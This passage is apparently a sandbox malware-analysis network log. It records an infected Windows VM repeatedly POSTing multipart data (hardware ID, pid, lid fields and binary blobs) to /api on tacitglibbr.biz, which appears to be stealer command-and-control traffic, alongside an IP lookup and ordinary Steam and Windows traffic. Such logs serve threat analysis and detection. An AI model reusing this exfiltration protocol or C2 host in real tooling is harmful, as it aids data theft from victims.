74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0a 09 09 3c 74 69 74 6c 65 3e Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><title>
2024-12-16 14:03:09 UTC	16384	IN	Data Raw: 6d 75 6e 69 74 79 2e 63 6f 6d 2f 3f 73 75 62 73 65 63 74 69 6f 6e 3d 62 72 6f 61 64 63 61 73 74 73 22 3e 0a 09 09 09 09 09 09 42 72 6f 61 64 63 61 73 74 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 62 6f 75 74 2f 22 3e 0a 09 09 09 09 41 62 6f 75 74 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 6c 70 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 65 6e 2f 22 3e 0a 09 09 09 09 53 55 Data Ascii: munity.com/?subsection=broadcasts">Broadcasts</a></div><a class="menuitem " href="https://store.steampowered.com/about/">About</a><a class="menuitem " href="https://help.steampowered.com/en/">SU
2024-12-16 14:03:09 UTC	3768	IN	Data Raw: 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 61 63 74 69 6f 6e 73 22 3e 0a 09 09 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 73 75 6d 6d 61 72 79 22 3e 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 65 72 73 6f 6e 61 5f 6e 61 6d 65 20 70 65 72 73 6f 6e 61 5f 6e 61 6d 65 5f 73 70 61 63 65 72 22 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 34 70 78 3b 22 3e 0a 09 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 61 63 74 75 61 6c 5f 70 65 72 Data Ascii: </a></div><div class="profile_header_actions"></div></div><div class="profile_header_summary"><div class="persona_name persona_name_spacer" style="font-size: 24px;"><span class="actual_per
2024-12-16 14:03:09 UTC	500	IN	Data Raw: 20 53 75 62 73 63 72 69 62 65 72 20 41 67 72 65 65 6d 65 6e 74 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 26 6e 62 73 70 3b 7c 20 26 6e 62 73 70 3b 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 63 63 6f 75 6e 74 2f 63 6f 6f 6b 69 65 70 72 65 66 65 72 65 6e 63 65 73 2f 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 43 6f 6f 6b 69 65 73 3c 2f 61 3e 0a 09 09 09 09 09 09 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 09 09 09 09 3c 2f 73 70 61 6e 3e 0a 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 65 73 70 6f 6e 73 69 76 65 5f 6f 70 74 69 6e 5f 6c 69 6e 6b 22 3e 0a 09 09 09 09 3c 64 69 76 Data Ascii: Subscriber Agreement</a>  \|  <a href="http://store.steampowered.com/account/cookiepreferences/" target="_blank">Cookies</a></span></span></div><div class="responsive_optin_link"><div

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.6	50072	104.21.50.161	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:03:11 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=N7IAPBQF98Y User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12817 Host: tacitglibbr.biz
2024-12-16 14:03:11 UTC	12817	OUT	Data Raw: 2d 2d 4e 37 49 41 50 42 51 46 39 38 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 45 31 39 44 31 37 36 34 44 46 34 44 34 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4e 37 49 41 50 42 51 46 39 38 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4e 37 49 41 50 42 51 46 39 38 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 4e 37 49 41 50 42 51 46 39 38 59 0d 0a 43 6f 6e 74 Data Ascii: --N7IAPBQF98YContent-Disposition: form-data; name="hwid"CCE19D1764DF4D48AC8923850305D13E--N7IAPBQF98YContent-Disposition: form-data; name="pid"2--N7IAPBQF98YContent-Disposition: form-data; name="lid"PsFKDg--pablo--N7IAPBQF98YCont
2024-12-16 14:03:12 UTC	1013	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:03:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rghd5gf2deu4n5jgje7amsmrlo; expires=Fri, 11-Apr-2025 07:49:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4P8%2F7sjFfCB996ld3PAUpkWGiENhMKGmMeqrRJAi0PFXrTxAJnCiSgRcO36ecT2LUOxc%2BodMB8exGQyVeKBAXpb8NfonATCRdhRTadgZOBXjAMi1PHLzBhXIN6Pp4uG1dZc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f3726fc5a0c7e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3235&min_rtt=1533&rtt_var=1745&sent=13&recv=18&lost=0&retrans=0&sent_bytes=2838&recv_bytes=13749&delivery_rate=1904761&cwnd=77&unsent_bytes=0&cid=0005e78f903d0032&ts=783&x=0"
2024-12-16 14:03:12 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-16 14:03:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.6	50075	104.21.50.161	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:03:13 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=28193CQ9L8H3KOSD User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15093 Host: tacitglibbr.biz
2024-12-16 14:03:13 UTC	15093	OUT	Data Raw: 2d 2d 32 38 31 39 33 43 51 39 4c 38 48 33 4b 4f 53 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 45 31 39 44 31 37 36 34 44 46 34 44 34 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 32 38 31 39 33 43 51 39 4c 38 48 33 4b 4f 53 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 32 38 31 39 33 43 51 39 4c 38 48 33 4b 4f 53 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 32 38 Data Ascii: --28193CQ9L8H3KOSDContent-Disposition: form-data; name="hwid"CCE19D1764DF4D48AC8923850305D13E--28193CQ9L8H3KOSDContent-Disposition: form-data; name="pid"2--28193CQ9L8H3KOSDContent-Disposition: form-data; name="lid"PsFKDg--pablo--28
2024-12-16 14:03:14 UTC	1020	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:03:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=idq5gg9f9sf8a3jbfed37vgmgb; expires=Fri, 11-Apr-2025 07:49:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hbzQF%2BAX%2BGCCuSo7nQKM4Y5vDoIO8Km%2FCDrg4HLlF7jIiJX8ionzCV2QzLrOWDLjZcvGJ4rhf%2F3gc5hDxwbCxJrctLoRNYaTE70m%2BXOBNxv7s54C7KJNCe4bLBmNA7jQg%2FA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f37338e2d43bd-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1592&min_rtt=1581&rtt_var=616&sent=9&recv=20&lost=0&retrans=0&sent_bytes=2839&recv_bytes=16030&delivery_rate=1745367&cwnd=190&unsent_bytes=0&cid=5fb4ee65433cf681&ts=858&x=0"
2024-12-16 14:03:14 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-16 14:03:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.6	50077	104.21.50.161	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:03:15 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=MCQKEVRF7GU User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19921 Host: tacitglibbr.biz
2024-12-16 14:03:15 UTC	15331	OUT	Data Raw: 2d 2d 4d 43 51 4b 45 56 52 46 37 47 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 45 31 39 44 31 37 36 34 44 46 34 44 34 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4d 43 51 4b 45 56 52 46 37 47 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4d 43 51 4b 45 56 52 46 37 47 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 4d 43 51 4b 45 56 52 46 37 47 55 0d 0a 43 6f 6e 74 Data Ascii: --MCQKEVRF7GUContent-Disposition: form-data; name="hwid"CCE19D1764DF4D48AC8923850305D13E--MCQKEVRF7GUContent-Disposition: form-data; name="pid"3--MCQKEVRF7GUContent-Disposition: form-data; name="lid"PsFKDg--pablo--MCQKEVRF7GUCont
2024-12-16 14:03:15 UTC	4590	OUT	Data Raw: 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 e3 5f de a8 de f8 f4 8d d8 f5 6f 86 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: ?2+?2+?o?Mp5p_oI
2024-12-16 14:03:16 UTC	1015	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:03:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=crshrgnu6rk3afc8p6bi8oaotf; expires=Fri, 11-Apr-2025 07:49:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BjnrDxBkYrstacwpRxDQN6p95IP5OEeskLqCANOu6jKEM1yvYqUigos%2FLZ29et3CpKucdJGg39Rc0CKfYbHlnWLCiPrUS7V6a8LHZCrKEpH%2FuogA8DHAz62arRFZECj3ALU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f3740cd425e6b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1599&min_rtt=1598&rtt_var=601&sent=15&recv=25&lost=0&retrans=0&sent_bytes=2838&recv_bytes=20875&delivery_rate=1817050&cwnd=247&unsent_bytes=0&cid=4434d8f9b262736b&ts=949&x=0"
2024-12-16 14:03:16 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-16 14:03:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.6	50076	34.226.108.155	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:03:15 UTC	52	OUT	GET /ip HTTP/1.1 Host: httpbin.org Accept: /
2024-12-16 14:03:16 UTC	224	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:03:16 GMT Content-Type: application/json Content-Length: 31 Connection: close Server: gunicorn/19.9.0 Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true
2024-12-16 14:03:16 UTC	31	IN	Data Raw: 7b 0a 20 20 22 6f 72 69 67 69 6e 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 0a 7d 0a Data Ascii: { "origin": "8.46.123.189"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.6	50098	104.21.50.161	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:03:18 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=HNF2U9D00DUDRLIJI User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1330 Host: tacitglibbr.biz
2024-12-16 14:03:18 UTC	1330	OUT	Data Raw: 2d 2d 48 4e 46 32 55 39 44 30 30 44 55 44 52 4c 49 4a 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 45 31 39 44 31 37 36 34 44 46 34 44 34 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 48 4e 46 32 55 39 44 30 30 44 55 44 52 4c 49 4a 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 48 4e 46 32 55 39 44 30 30 44 55 44 52 4c 49 4a 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d Data Ascii: --HNF2U9D00DUDRLIJIContent-Disposition: form-data; name="hwid"CCE19D1764DF4D48AC8923850305D13E--HNF2U9D00DUDRLIJIContent-Disposition: form-data; name="pid"1--HNF2U9D00DUDRLIJIContent-Disposition: form-data; name="lid"PsFKDg--pablo-
2024-12-16 14:03:19 UTC	1012	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:03:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=96uape7tgtc80vlatuof70u0t0; expires=Fri, 11-Apr-2025 07:49:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NpCpSFoMUpMlv8ruEoGyrHPeSpW5c8y2r%2FjsUgYgCHr9Ljg%2FqzEtHQzbtn1b89CzcZiGQxOuLAOubECFXjqCUKMuYpsJhscLMcHOJQkn1mk2hOC24du9Il%2Bx1mW7dQHi2Fc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f374eeaa9159b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1533&min_rtt=1508&rtt_var=615&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2838&recv_bytes=2245&delivery_rate=1709601&cwnd=32&unsent_bytes=0&cid=f9ccee8d4c334d5e&ts=1058&x=0"
2024-12-16 14:03:19 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-16 14:03:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.6	50101	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:03:19 UTC	70	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 34 0d 0a 4d 53 2d 43 56 3a 20 45 54 54 42 47 6a 77 5a 55 30 75 53 4c 52 63 58 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 34 66 64 63 64 31 63 38 39 61 65 33 32 61 0d 0a 0d 0a Data Ascii: CNT 1 CON 304MS-CV: ETTBGjwZU0uSLRcX.1Context: 74fdcd1c89ae32a
2024-12-16 14:03:19 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-16 14:03:19 UTC	1083	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 30 0d 0a 4d 53 2d 43 56 3a 20 45 54 54 42 47 6a 77 5a 55 30 75 53 4c 52 63 58 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 34 66 64 63 64 31 63 38 39 61 65 33 32 61 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 58 34 48 43 52 6c 4b 78 59 59 75 57 4b 61 73 6f 55 47 6e 55 51 61 39 38 56 7a 51 6b 74 62 79 31 4c 54 64 6d 79 6e 7a 49 4a 6d 77 49 2f 65 35 5a 68 39 6a 45 64 4d 4e 5a 76 45 49 53 32 46 4f 62 43 6c 4d 67 76 6f 57 74 67 4d 64 50 64 68 56 62 59 36 68 57 79 4d 4c 58 72 38 42 35 39 4b 57 55 4d 36 49 69 4d 71 6d 5a 6a 51 30 62 4e Data Ascii: ATH 2 CON\DEVICE 1060MS-CV: ETTBGjwZU0uSLRcX.2Context: 74fdcd1c89ae32a<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAdX4HCRlKxYYuWKasoUGnUQa98VzQktby1LTdmynzIJmwI/e5Zh9jEdMNZvEIS2FObClMgvoWtgMdPdhVbY6hWyMLXr8B59KWUM6IiMqmZjQ0bN
2024-12-16 14:03:19 UTC	217	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 36 0d 0a 4d 53 2d 43 56 3a 20 45 54 54 42 47 6a 77 5a 55 30 75 53 4c 52 63 58 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 34 66 64 63 64 31 63 38 39 61 65 33 32 61 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 196MS-CV: ETTBGjwZU0uSLRcX.3Context: 74fdcd1c89ae32a<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-16 14:03:19 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-16 14:03:19 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 41 45 2b 4e 57 5a 77 6b 70 45 61 41 6a 64 66 78 6a 48 6d 47 64 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: AE+NWZwkpEaAjdfxjHmGdw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.6	50116	104.21.50.161	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:03:20 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=PQ960LFKZCEQ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1370 Host: tacitglibbr.biz
2024-12-16 14:03:20 UTC	1370	OUT	Data Raw: 2d 2d 50 51 39 36 30 4c 46 4b 5a 43 45 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 45 31 39 44 31 37 36 34 44 46 34 44 34 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 50 51 39 36 30 4c 46 4b 5a 43 45 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 50 51 39 36 30 4c 46 4b 5a 43 45 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 50 51 39 36 30 4c 46 4b 5a 43 45 51 0d 0a Data Ascii: --PQ960LFKZCEQContent-Disposition: form-data; name="hwid"CCE19D1764DF4D48AC8923850305D13E--PQ960LFKZCEQContent-Disposition: form-data; name="pid"1--PQ960LFKZCEQContent-Disposition: form-data; name="lid"PsFKDg--pablo--PQ960LFKZCEQ
